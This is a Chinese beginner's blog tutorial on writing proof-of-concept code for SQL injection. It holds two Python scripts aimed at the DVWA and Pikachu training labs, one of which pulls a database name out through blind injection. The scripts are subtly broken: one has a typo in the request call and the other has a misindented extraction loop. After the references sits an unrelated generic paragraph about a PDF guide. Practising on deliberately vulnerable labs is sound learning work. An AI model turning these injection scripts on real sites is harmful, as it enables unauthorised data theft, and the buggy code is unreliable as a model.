初探POC编写

前言

想锻炼一下编程能力,师兄说以后很重要的,最好学好一点

但是我又想学习安全相关的,那就来练练poc吧

什么是POC

PoC(全称: Proof of Concept), 中文译作概念验证。在安全界,你可以理解成为漏洞验证程序(本教程中,如无特别说明,默认代表漏洞验证程序),当然你要强行说我说的不对,我肯定支持你,反正我没打算反驳你。和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。因为是一些代码片段,所以到现在都没看到有一本书来讲怎么编写 PoC 的,因为这些东西对于会写代码的人来说,他们会很惊讶分分钟就会了的事为什么还要出本书。

什么是 Exp

Exp(全称: Exploit),中文叫漏洞利用程序。名字上说的已经很清楚了,简单讲,就是一段可以发挥漏洞价值的程序,这话感觉和没说一样。想象一下这样的场景,目标存在一个 SQL 注入漏洞,然后被你知道了,然后你编写了一个程序,通过这个 SQL 注入漏洞,拿到了目标的权限,那么这个程序就是所谓的 Exp 了,当然,如果你没有使用这个漏洞,它就这么放着,那么这个漏洞,对你来说可以认为是没有价值的。

POC注意事项

  1. 随机性 参数随机(有时候可以不随机)
  2. 通用性 要对一样组件的网站都成立,不能是针对个别网站
  3. 确定性 要明确验证漏洞存在与否

尝试编写第一个POC

dvwa的sql注入poc

这个是要自己在id参数里面添加’

根据返回结果才可以验证出来

import requests
import re

header = {"Cookie":""} 
url = input("请输入url")
r = requests.get(url.header)
res = str(r.content)
if re.search("syntax",res):
    print("存在sql注入")
else:
    print("不存在sql注入")

pikachu sql盲注poc

import requests
import string

url = "http://192.168.186.128/pikachu/vul/sqli/sqli_blind_b.php"
#计算响应包长度
params={"name":"kobe","submit":"查询"}
normalhtmllen = len(requests.get(url=url,params=params).text)
# url2=requests.get(url=url,params=params)
print("the len of HTML:",normalhtmllen)
# print(url2.url)
print("the len of HTML:"+str(normalhtmllen))
#+号要加str()改为字符串
#------------判断数据库名的长度--------------------------------
dbNameLen = 0
while True:
    dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit=查询"
    #print(dbNameLen_url)
    if len(requests.get(dbNameLen_url).text) == normalhtmllen:
        print("The len of dbName",dbNameLen)
        break
    if dbNameLen == 200:
        print("Error!")
        break
    dbNameLen += 1
#-----------------------------------------------------------------
#---根据得到的长度去用substr()由头到尾一个个字符串遍历出完整的数据库名------
    dbName=""
    for i in range(1,9):
        for a in string.ascii_lowercase:
            dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit=查询"
            #print(dbName_url)
            if len(requests.get(dbName_url).text) == normalhtmllen:
                dbName += a
                print(dbName)

在这里插入图片描述

参考

https://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=402630401&idx=1&sn=8739dae646ec90ff4c813b14ef7e961f
http://labs.supinfochina.com/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8poc/
https://blog.csdn.net/qq_37622608/article/details/88048847
https://www.cxyzjd.com/article/qqchaozai/103567861

POC编写指南PDF是一份关于编写POC(Proof of Concept)的指南的电子书,通过PDF格式的形式提供给读者。POC是指概念验证,用于验证一个想法、概念或原理的可行性。编写POC时,可以使用各种技术、工具和方法来展示一个想法的可行性。 这份指南涵盖了编写POC的基本步骤和要点。首先,它介绍了POC的定义和目的,明确了编写POC的目标和意义。然后,指南详细介绍了如何选择一个合适的主题或想法,并构思POC的关键要素。在编写POC的过程中,指南提供了实用的建议和技巧,例如如何收集并分析数据、如何选择和使用适当的工具和技术,以及如何评估和展示POC的成果。 此外,指南还着重强调了编写POC的规范与标准。它指导读者编写结构清晰、逻辑严密的POC报告,并提醒读者注意文档的格式、排版和语言的规范性。这些规范和标准保证了POC的可读性和可理解性,使读者更容易理解POC的目的、方法和结果。 最后,指南还提供了一些实际的例子和案例分析,帮助读者更好地理解和应用指南中的内容。这些例子展示了不同领域和行业应用的POC,启发读者思考如何根据自己的需求和场景编写POC。 总之,POC编写指南PDF提供了一个系统和全面的指导,帮助读者学习和掌握编写POC的方法和技巧。无论是对于初学者还是有经验的人士,这份指南都是一个有价值的资源,可以提升他们编写POC的能力和水平。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

sec0nd_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值